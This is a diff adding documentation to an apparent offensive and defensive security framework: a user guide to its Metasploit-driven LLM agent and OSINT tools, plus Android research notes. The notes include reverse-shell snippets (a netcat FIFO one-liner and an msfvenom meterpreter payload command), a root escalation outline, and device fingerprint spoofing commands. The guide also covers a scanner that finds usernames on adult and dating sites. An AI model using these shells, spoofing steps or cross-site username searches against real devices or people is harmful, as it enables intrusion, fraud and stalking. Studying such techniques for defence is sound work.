+├── DEVLOG.md                   # Development log
+├── GUIDE.md                    # This guide
+│
+├── core/                       # Core framework modules
+│   ├── __init__.py
+│   ├── agent.py               # Autonomous AI agent
+│   ├── banner.py              # ASCII banner and colors
+│   ├── config.py              # Configuration handler
+│   ├── llm.py                 # LLM wrapper (llama-cpp-python)
+│   ├── menu.py                # Main menu system
+│   ├── msf.py                 # Metasploit RPC client
+│   └── tools.py               # Agent tool registry
+│
+└── modules/                    # User-facing modules
+    ├── __init__.py
+    ├── setup.py               # First-time setup wizard
+    ├── chat.py                # Interactive LLM chat (core)
+    ├── agent.py               # Agent interface (core)
+    ├── msf.py                 # Metasploit interface (offense)
+    ├── defender.py            # System hardening (defense)
+    ├── counter.py             # Threat detection (counter)
+    ├── analyze.py             # Forensics tools (analyze)
+    ├── recon.py               # OSINT reconnaissance (osint)
+    ├── adultscan.py           # Adult site scanner (osint)
+    └── simulate.py            # Attack simulation (simulate)
+```
+
+---
+
+## Installation & Setup
+
+### Requirements
+
+- Python 3.8+
+- llama-cpp-python (pre-installed)
+- A GGUF model file for LLM features
+- Metasploit Framework (optional, for MSF features)
+
+### First Run
+
+```bash
+cd /home/snake/dh_framework
+python autarch.py
+```
+
+On first run, the setup wizard automatically launches with options:
+1. **Configure LLM** - Set up model for chat & agent features
+2. **Skip Setup** - Use without LLM (most modules still work)
+
+### Running Without LLM
+
+Many modules work without an LLM configured:
+
+```bash
+# Skip setup on first run
+python autarch.py --skip-setup
+```
+
+**Modules that work without LLM:**
+- defender (Defense) - System hardening checks
+- counter (Counter) - Threat detection
+- analyze (Analyze) - File forensics
+- recon (OSINT) - Email, username, domain lookup
+- adultscan (OSINT) - Adult site scanner
+- simulate (Simulate) - Port scan, payloads
+- msf (Offense) - Metasploit interface
+
+**Modules that require LLM:**
+- chat - Interactive LLM chat
+- agent - Autonomous AI agent
+
+You can configure LLM later with `python autarch.py --setup`
+
+---
+
+## Command Line Interface
+
+### Basic Usage
+
+```bash
+python autarch.py [OPTIONS] [COMMAND]
+```
+
+### Options
+
+| Option | Description |
+|--------|-------------|
+| `-h, --help` | Show help message and exit |
+| `-v, --version` | Show version information |
+| `-c, --config FILE` | Use alternate config file |
+| `--skip-setup` | Skip first-time setup (run without LLM) |
+| `-m, --module NAME` | Run a specific module directly |
+| `-l, --list` | List all available modules |
+| `--setup` | Force run the setup wizard |
+| `--no-banner` | Suppress the ASCII banner |
+| `-q, --quiet` | Minimal output mode |
+
+### Commands
+
+| Command | Description |
+|---------|-------------|
+| `chat` | Start interactive LLM chat |
+| `agent` | Start the autonomous agent |
+| `scan <target>` | Quick port scan |
+| `osint <username>` | Quick username OSINT |
+
+### Examples
+
+```bash
+# Show help
+python autarch.py --help
+
+# Run a specific module
+python autarch.py -m chat
+python autarch.py -m adultscan
+
+# List all modules
+python autarch.py --list
+
+# Quick OSINT scan
+python autarch.py osint targetuser
+
+# Re-run setup
+python autarch.py --setup
+```
+
+---
+
+## Main Menu Navigation
+
+### Menu Structure
+
+```
+  Main Menu
+  ──────────────────────────────────────────────────
+
+  [1]  Defense      - Defensive security tools
+  [2]  Offense      - Penetration testing
+  [3]  Counter      - Counter-intelligence
+  [4]  Analyze      - Analysis & forensics
+  [5]  OSINT        - Open source intelligence
+  [6]  Simulate     - Attack simulation
+
+  [99] Settings
+  [98] Exit
+```
+
+### Category Details
+
+#### [1] Defense
+System hardening and defensive security:
+- Full Security Audit
+- Firewall Check
+- SSH Hardening
+- Open Ports Scan
+- User Security Check
+- File Permissions Audit
+- Service Audit
+
+#### [2] Offense
+Penetration testing with Metasploit:
+- Search Modules
+- Use/Configure Modules
+- Run Exploits
+- Manage Sessions
+- Console Commands
+- Quick Scanners
+
+#### [3] Counter
+Counter-intelligence and threat hunting:
+- Full Threat Scan
+- Suspicious Process Detection
+- Network Analysis
+- Login Anomalies
+- File Integrity Monitoring
+- Scheduled Task Audit
+- Rootkit Detection
+
+#### [4] Analyze
+Forensics and file analysis:
+- File Analysis (metadata, hashes, type)
+- String Extraction
+- Hash Lookup (VirusTotal, Hybrid Analysis)
+- Log Analysis
+- Hex Dump Viewer
+- File Comparison
+
+#### [5] OSINT
+Open source intelligence gathering:
+- **recon.py** - Email, username, phone, domain, IP lookup
+- **adultscan.py** - Adult site username scanner
+
+#### [6] Simulate
+Attack simulation and red team:
+- Password Audit
+- Port Scanner
+- Banner Grabber
+- Payload Generator (XSS, SQLi, etc.)
+- Network Stress Test
+
+---
+
+## Module Reference
+
+### Core Modules
+
+#### chat.py - Interactive Chat
+```
+Category: core
+Commands:
+  /help      - Show available commands
+  /clear     - Clear conversation history
+  /history   - Show conversation history
+  /info      - Show model information
+  /system    - Set system prompt
+  /temp      - Set temperature
+  /tokens    - Set max tokens
+  /stream    - Toggle streaming
+  /exit      - Exit chat
+```
+
+#### agent.py - Autonomous Agent
+```
+Category: core
+Commands:
+  tools      - Show available tools
+  exit       - Return to main menu
+  help       - Show help
+
+Available Tools:
+  shell          - Execute shell commands
+  read_file      - Read file contents
+  write_file     - Write to files
+  list_dir       - List directory contents
+  search_files   - Glob pattern search
+  search_content - Content search (grep)
+  task_complete  - Signal completion
+  ask_user       - Request user input
+  msf_*          - Metasploit tools
+```
+
+### OSINT Modules
+
+#### recon.py - OSINT Reconnaissance
+```
+Category: osint
+Version: 2.0
+
+Menu:
+  Email
+    [1] Email Lookup
+    [2] Email Permutator
+
+  Username
+    [3] Username Lookup (17+ platforms)
+    [4] Social Analyzer integration
+
+  Phone
+    [5] Phone Number Lookup
+
+  Domain/IP
+    [6] Domain Recon
+    [7] IP Address Lookup
+    [8] Subdomain Enumeration
+    [9] Technology Detection
+```
+
+#### adultscan.py - Adult Site Scanner
+```
+Category: osint
+Version: 1.3
+
+Menu:
+  Scan Categories:
+    [1] Full Scan (all categories)
+    [2] Fanfiction & Story Sites
+    [3] Art & Creative Sites
+    [4] Video & Streaming Sites
+    [5] Forums & Communities
+    [6] Dating & Social Sites
+    [7] Gaming Related Sites
+    [8] Custom Sites Only
+    [9] Custom Category Selection
+
+  Site Management:
+    [A] Add Custom Site (manual)
+    [D] Auto-Detect Site Pattern
+    [B] Bulk Import from File
+    [M] Manage Custom Sites
+    [L] List All Sites
+
+Sites Database: 50+ built-in sites
+Categories: fanfiction, art, video, forums, dating, gaming, custom
+```
+
+##### Adding Custom Sites
+
+**Manual Add [A]:**
+```
+Site name: MySite
+URL pattern (use * for username): mysite.com/user/*
+Detection Method: [1] Status code
+```
+
+**Auto-Detect [D]:**
+```
+Domain: example.com
+Test username: knownuser
+(System probes 17 common patterns)
+```
+
+**Bulk Import [B]:**
+
+1. Edit `custom_sites.inf`:
+```
+# One domain per line
+site1.com
+site2.net
+site3.org
+```
+
+2. Run Bulk Import and provide test username
+3. System auto-detects patterns for each domain
+
+---
+
+## Configuration
+
+### Config File: autarch_settings.conf
+
+```ini
+[llama]
+model_path = /path/to/model.gguf
+n_ctx = 4096
+n_threads = 4
+n_gpu_layers = 0
+temperature = 0.7
+top_p = 0.9
+top_k = 40
+repeat_penalty = 1.1
+max_tokens = 2048
+seed = -1
+
+[autarch]
+first_run = false
+modules_path = modules
+verbose = false
+
+[msf]
+host = 127.0.0.1
+port = 55553
+username = msf
+password =
+ssl = true
+```
+
+### LLM Settings
+
+| Setting | Default | Description |
+|---------|---------|-------------|
+| model_path | (required) | Path to GGUF model file |
+| n_ctx | 4096 | Context window size |
+| n_threads | 4 | CPU threads for inference |
+| n_gpu_layers | 0 | Layers to offload to GPU |
+| temperature | 0.7 | Sampling temperature (0.0-2.0) |
+| top_p | 0.9 | Nucleus sampling threshold |
+| top_k | 40 | Top-K sampling |
+| repeat_penalty | 1.1 | Repetition penalty |
+| max_tokens | 2048 | Maximum response length |
+| seed | -1 | Random seed (-1 = random) |
+
+### Metasploit Settings
+
+| Setting | Default | Description |
+|---------|---------|-------------|
+| host | 127.0.0.1 | MSF RPC host |
+| port | 55553 | MSF RPC port |
+| username | msf | RPC username |
+| password | (none) | RPC password |
+| ssl | true | Use SSL connection |
+
+**Starting msfrpcd:**
+```bash
+msfrpcd -P yourpassword -S -a 127.0.0.1
+```
+
+---
+
+## Creating Custom Modules
+
+### Module Template
+
+```python
+"""
+Module description here
+"""
+
+# Module metadata (required)
+DESCRIPTION = "Short description"
+AUTHOR = "Your Name"
+VERSION = "1.0"
+CATEGORY = "osint"  # defense, offense, counter, analyze, osint, simulate, core
+
+import sys
+from pathlib import Path
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+from core.banner import Colors, clear_screen, display_banner
+
+
+def run():
+    """Main entry point - REQUIRED"""
+    clear_screen()
+    display_banner()
+
+    print(f"{Colors.BOLD}My Module{Colors.RESET}")
+    # Your code here
+
+
+if __name__ == "__main__":
+    run()
+```
+
+### Available Colors
+
+```python
+from core.banner import Colors
+
+Colors.RED
+Colors.GREEN
+Colors.YELLOW
+Colors.BLUE
+Colors.MAGENTA
+Colors.CYAN
+Colors.WHITE
+Colors.BOLD
+Colors.DIM
+Colors.RESET
+```
+
+### Module Categories
+
+| Category | Color | Description |
+|----------|-------|-------------|
+| defense | Blue | Defensive security |
+| offense | Red | Penetration testing |
+| counter | Magenta | Counter-intelligence |
+| analyze | Cyan | Forensics & analysis |
+| osint | Green | Open source intelligence |
+| simulate | Yellow | Attack simulation |
+| core | White | Core framework modules |
+
+---
+
+## Agent Tools Reference
+
+The autonomous agent has access to these tools:
+
+### File Operations
+```
+read_file(path)           - Read file contents
+write_file(path, content) - Write to file
+list_dir(path)            - List directory
+search_files(pattern)     - Glob search
+search_content(pattern)   - Grep search
+```
+
+### System Operations
+```
+shell(command, timeout)   - Execute shell command
+```
+
+### User Interaction
+```
+ask_user(question)        - Prompt user for input
+task_complete(result)     - Signal task completion
+```
+
+### Metasploit Operations
+```
+msf_connect()                    - Connect to MSF RPC
+msf_search(query)                - Search modules
+msf_module_info(module)          - Get module info
+msf_module_options(module)       - Get module options
+msf_execute(module, options)     - Execute module
+msf_sessions()                   - List sessions
+msf_session_command(id, cmd)     - Run session command
+msf_console(command)             - Direct console
+```
+
+---
+
+## Troubleshooting
+
+### Common Issues
+
+**LLM not loading:**
+- Verify model_path in autarch_settings.conf
+- Check file permissions on model file
+- Ensure sufficient RAM for model size
+
+**MSF connection failed:**
+- Verify msfrpcd is running: `msfrpcd -P password -S`
+- Check host/port in settings
+- Verify password is correct
+
+**Module not appearing:**
+- Ensure module has `CATEGORY` attribute
+- Ensure module has `run()` function
+- Check for syntax errors
+
+**Adult scanner false positives:**
+- Some sites return 200 for all requests
+- Use content-based detection for those sites
+- Verify with a known username
+
+### Debug Mode
+
+```bash
+# Enable verbose output
+python autarch.py --verbose
+
+# Check configuration
+python autarch.py --show-config
+```
+
+---
+
+## Security Notice
+
+AUTARCH is designed for **authorized security testing only**. Users are responsible for:
+
+- Obtaining proper authorization before testing
+- Complying with all applicable laws
+- Using tools ethically and responsibly
+
+**Do not use for:**
+- Unauthorized access
+- Harassment or stalking
+- Any illegal activities
+
+---
+
+## Version History
+
+| Version | Date | Changes |
+|---------|------|---------|
+| 1.0 | 2026-01-14 | Initial release |
+| 1.1 | 2026-01-14 | Added custom site management |
+| 1.2 | 2026-01-14 | Added auto-detect patterns |
+| 1.3 | 2026-01-14 | Added bulk import |
+
+---
+
+## Credits
+
+**Project AUTARCH**
+By darkHal Security Group and Setec Security Labs
+
+---
+
+*For development history, see DEVLOG.md*
--- a/docs/research.md
+++ b/docs/research.md
@@ -0,0 +1,293 @@
+# Archon Research — Consolidated Findings
+## darkHal Security Group — Project AUTARCH
+**Last Updated:** 2026-02-20
+
+---
+
+## 1. On-Device LLM Engines
+
+### SmolChat-Android (Recommended)
+- **Source:** https://github.com/shubham0204/SmolChat-Android
+- **License:** Apache 2.0
+- **Stack:** Kotlin + llama.cpp JNI bindings
+- **Key feature:** `smollm` module is an embeddable Android library — 2-class Kotlin API
+- **Model format:** GGUF (huge ecosystem on HuggingFace)
+- **Performance:** Auto-detects CPU SIMD, has ARMv8.4 SVE optimized builds
+- **Integration:** Streaming via Kotlin Flow, context tracking, chat templates from GGUF metadata
+- **What it doesn't have:** No tool-calling — we add that via Koog (below)
+- **Recommended models:** Qwen3-0.6B-Q4_K_M (tiny, fast) or SmolLM3-3B-Q4 (better quality)
+- **Status:** Best choice for inference engine. Embed `smollm` module into Archon.
+
+### mllm
+- **Source:** https://github.com/UbiquitousLearning/mllm
+- **License:** MIT
+- **Stack:** C++20 custom engine
+- **Key feature:** Multimodal (vision + text — Qwen2-VL, DeepSeek-OCR), Qualcomm QNN NPU acceleration
+- **Model format:** Custom `.mllm` (must convert from HuggingFace, NOT GGUF)
+- **Drawback:** Much harder to integrate, custom format limits model selection
+- **Status:** Consider for future multimodal features (OCR scanning, photo analysis). Not for initial integration.
+
+---
+
+## 2. AI Agent Frameworks
+
+### Koog AI (Recommended for Archon)
+- **Source:** https://docs.koog.ai/
+- **License:** Apache 2.0 (JetBrains)
+- **Stack:** Pure Kotlin, Kotlin Multiplatform — officially supports Android
+- **Key features:**
+  - 9 LLM providers including Ollama (local) and cloud (OpenAI, Anthropic)
+  - First-class tool-calling with class-based tools (works on Android)
+  - Agent memory, persistence, checkpoints, history compression
+  - Structured output via kotlinx.serialization
+  - GOAP planner (A* search for action planning — game AI technique)
+  - MCP integration (discover/use external tools)
+  - Multi-agent: agents-as-tools, agent-to-agent protocol
+- **Version:** 0.6.2
+- **Integration:** `implementation("ai.koog:koog-agents:0.6.2")` — single Gradle dependency
+- **Why it's the answer:** Native Kotlin, class-based tools on Android, GOAP planner maps perfectly to security workflows (Goal: "Protect device" → Actions: scan → identify → restrict → revoke)
+- **Status:** Best choice for agent layer. Combine with SmolChat for fully offline operation.
+
+### SmolChat + Koog Combo
+- SmolChat provides the on-device inference engine (GGUF/llama.cpp)
+- Koog provides the agent framework (tools, planning, memory, structured output)
+- Together: fully autonomous, fully offline security AI agent on the phone
+- Implementation: define security tools as Koog class-based tools, wrap PrivilegeManager.execute() as execution backend
+
+### GitHub Copilot SDK
+- **Source:** https://github.com/github/copilot-sdk
+- **License:** MIT (SDK), proprietary (CLI binary ~61MB)
+- **Stack:** Python/TypeScript/Go/.NET SDKs
+- **Key features:** BYOK mode (Ollama local), MCP integration, linux-arm64 binary exists
+- **Drawback:** CLI binary is closed-source proprietary. We already have our own LLM backends + MCP server. Adds another orchestration layer on top of what we built.
+- **Status:** Not needed. Our own agent system (core/agent.py + core/tools.py) is better tailored.
+
+---
+
+## 3. ADB Exploitation & Automation
+
+### PhoneSploit-Pro
+- **Source:** https://github.com/AzeezIsh/PhoneSploit-Pro
+- **License:** GPL-3.0
+- **What:** Python ADB automation framework (40+ exploits/actions)
+- **Capabilities:** Screen capture, app management, file transfer, keylogging, device info dumping, network analysis, shell access, APK extraction, location spoofing
+- **Relevance:** Reference for ADB command patterns. Many of its techniques are already in our ShieldModule and HoneypotModule.
+- **Status:** Reference material. We implement our own versions with better safety controls.
+
+---
+
+## 4. Android Reverse Shell Techniques
+
+### Technique 1: Java ProcessBuilder + Socket (Our Approach)
+```java
+// Connect back to server, pipe shell I/O over socket
+Socket socket = new Socket(serverIp, serverPort);
+ProcessBuilder pb = new ProcessBuilder("sh");
+Process process = pb.start();
+// Forward process stdin/stdout over socket
+```
+- **Privilege:** Runs at whatever UID the process has
+- **Our twist:** Run via `app_process` at UID 2000 (shell level)
+- **Advantage:** No external tools needed, pure Java, clean control flow
+
+### Technique 2: Netcat + FIFO
+```bash
+mkfifo /data/local/tmp/f
+cat /data/local/tmp/f | sh -i 2>&1 | nc $SERVER_IP $PORT > /data/local/tmp/f
+```
+- **Requires:** `nc` (netcat) available on device
+- **Advantage:** Simple, works from any shell
+- **Disadvantage:** No auth, no encryption, no special commands
+
+### Technique 3: msfvenom Payloads
+```bash
+msfvenom -p android/meterpreter/reverse_tcp LHOST=x.x.x.x LPORT=4444 -o payload.apk
+```
+- **Generates:** Standalone APK with Meterpreter payload
+- **Meterpreter types:** reverse_tcp, reverse_http, reverse_https
+- **Disadvantage:** Detected by AV, requires separate app install, no shell-level access, external Metasploit dependency
+- **Our approach is superior:** Already embedded in Archon, shell-level UID 2000, token auth, command safety blocklist
+
+---
+
+## 5. Android Privilege Escalation
+
+### CVE-2024-0044 / CVE-2024-31317: Run-As Any UID (Android 12-14)
+- **Disclosed by:** Meta security researchers
+- **Severity:** Critical — full root access on unpatched devices
+- **Affected:** Android 12, 13, 14 (patched in 14 QPR2 and Android 15)
+- **Mechanism:** The `run-as` command trusts package data from `/data/system/packages.list`. At shell level (UID 2000), we can exploit a TOCTOU race to make `run-as` switch to ANY UID, including UID 0 (root) or UID 1000 (system).
+- **Steps:**
+  1. Shell can write to `/data/local/tmp/`
+  2. Exploit the TOCTOU race in how `run-as` reads package info
+  3. `run-as` runs as UID 2000 but switches context to target UID
+- **Archon action:** Detection module that checks if device is vulnerable. If so, can use for legitimate protection (installing protective system-level hooks that persist until reboot).
+
+### Shell-Level Capabilities (UID 2000)
+Full command access without root:
+- `pm` — install, uninstall, disable, grant/revoke permissions
+- `am` — start activities, broadcast, force-stop processes
+- `settings` — read/write system, secure, global settings
+- `dumpsys` — dump any system service state
+- `cmd` — direct commands to system services (appops, jobscheduler, connectivity)
+- `content` — query/modify content providers (contacts, SMS, call log)
+- `service call` — raw Binder IPC (clipboard, etc.)
+- `input` — inject touch/key events (UI automation)
+- `screencap`/`screenrecord` — capture display
+- `svc` — control wifi, data, power, USB, NFC
+- `dpm` — device policy manager (remove device admins)
+- `logcat` — system logs
+- `run-as` — switch to debuggable app context
+
+### What Shell CANNOT Do (Root Required)
+- Write to /system, /vendor, /product
+- `setenforce 0` (set SELinux permissive)
+- Access other apps' /data/data/ directly
+- Load/unload kernel modules
+- iptables/nftables (CAP_NET_ADMIN)
+- Mount/unmount filesystems
+
+---
+
+## 6. Anti-Forensics (Anti-Cellebrite)
+
+Cellebrite UFED and similar forensic tools attack vectors:
+- ADB exploitation (need ADB enabled or USB exploit)
+- Bootloader-level extraction
+- Known CVE exploitation chains
+- Content provider dumping
+
+### Shell-Level Defenses
+```bash
+# USB Lockdown
+svc usb setFunctions charging
+settings put global adb_enabled 0
+
+# Detect Cellebrite (known USB vendor IDs, rapid content query storms)
+# Monitor USB events: /proc/bus/usb/devices
+
+# Emergency data protection on forensic detection:
+# - Revoke all app permissions
+# - Clear clipboard (service call clipboard)
+# - Force-stop sensitive apps
+# - Disable USB debugging
+# - Change lock to maximum security
+```
+
+### Architecture for Archon
+- Background monitoring thread: USB events + logcat
+- Forensic tool USB vendor ID database
+- Configurable responses: lockdown / alert / wipe sensitive / plant decoys
+- "Duress PIN" concept: specific PIN triggers data protection
+
+---
+
+## 7. Anti-Spyware (Anti-Pegasus)
+
+NSO Group's Pegasus and similar state-level spyware use:
+- Zero-click exploits via iMessage, WhatsApp, SMS
+- Kernel exploits for persistence
+- Memory-only implants (no files on disk)
+
+### Shell-Level Monitoring
+```bash
+# Suspicious process detection
+dumpsys activity processes | grep -i "pegasus\|chrysaor"
+
+# Hidden processes (deleted exe links = classic implant pattern)
+cat /proc/*/maps 2>/dev/null | grep -E "rwxp.*deleted"
+
+# Exploit indicators in logs
+logcat -d | grep -iE "exploit|overflow|heap|spray|jit"
+
+# Unauthorized root checks
+ls -la /system/xbin/su /system/bin/su /sbin/su 2>/dev/null
+cat /sys/fs/selinux/enforce  # 1=enforcing, 0=permissive
+
+# Certificate injection (MITM)
+ls /data/misc/user/0/cacerts-added/ 2>/dev/null
+
+# Known spyware package patterns
+pm list packages | grep -iE "com\.network\.|com\.service\.|bridge|carrier"
+```
+
+### Archon Shield Integration
+- Periodic background scans (configurable interval)
+- Known C2 IP/domain database (updated from AUTARCH server)
+- Process anomaly detection (unexpected UIDs, deleted exe links)
+- Network connection monitoring against threat intel
+
+---
+
+## 8. Device Fingerprint Manipulation
+
+### Play Integrity Levels
+1. **MEETS_BASIC_INTEGRITY** — Can be satisfied with prop spoofing
+2. **MEETS_DEVICE_INTEGRITY** — Requires matching CTS profile
+3. **MEETS_STRONG_INTEGRITY** — Hardware attestation (impossible to fake at shell level)
+
+### Shell-Level Spoofing
+```bash
+# Android ID rotation
+settings put secure android_id $(cat /dev/urandom | tr -dc 'a-f0-9' | head -c 16)
+
+# Build fingerprint spoofing
+setprop ro.build.fingerprint "google/raven/raven:14/UP1A.231005.007:user/release-keys"
+setprop ro.product.model "Pixel 6 Pro"
+
+# "Old device" trick (bypass hardware attestation requirement)
+setprop ro.product.first_api_level 28  # Pretend shipped with Android 9
+```
+
+### Donor Key Approach
+- Valid attestation certificate chains from donor devices could theoretically be replayed
+- Keys are burned into TEE/SE at factory
+- Google revokes leaked keys quickly
+- Legally/ethically complex — research only
+
+---
+
+## 9. Samsung S20/S21 Specifics (TODO)
+
+### JTAG/Debug Access
+- JTAG pinpoints and schematics for S20/S21 hardware debugging
+- Bootloader weakness analysis (Samsung Knox, secure boot chain)
+- Secureboot partition dumping techniques
+
+### Hardening Guide
+- Samsung-specific security settings and Knox configuration
+- Tool section for Samsung devices
+
+**Status:** Research needed — not yet documented.
+
+---
+
+## 10. Future: LLM Suite Architecture
+
+### Recommended Stack
+```
+┌──────────────────────────────────────┐
+│         Koog AI Agent Layer          │
+│   (tools, GOAP planner, memory)     │
+├──────────────────────────────────────┤
+│   SmolChat smollm Module             │
+│   (GGUF inference, llama.cpp JNI)   │
+├──────────────────────────────────────┤
+│   Security Tools (Kotlin)            │
+│   (ScanPackagesTool,                 │
+│    RestrictTrackerTool, etc.)        │
+├──────────────────────────────────────┤
+│   PrivilegeManager                   │
+│   (ROOT/ARCHON_SERVER/ADB/NONE)     │
+└──────────────────────────────────────┘
+```
+
+### Integration Steps
+1. Add `smollm` as module dependency (embeds llama.cpp JNI)
+2. Add `koog-agents` Gradle dependency
+3. Define security tools as Koog class-based tools
+4. Create "Security Guardian" agent with GOAP planner
+5. Can run fully offline (on-device GGUF) or via Ollama on AUTARCH server
+6. Agent autonomously monitors and responds to threats
+
+**Status:** Future phase — implement after reverse shell is complete.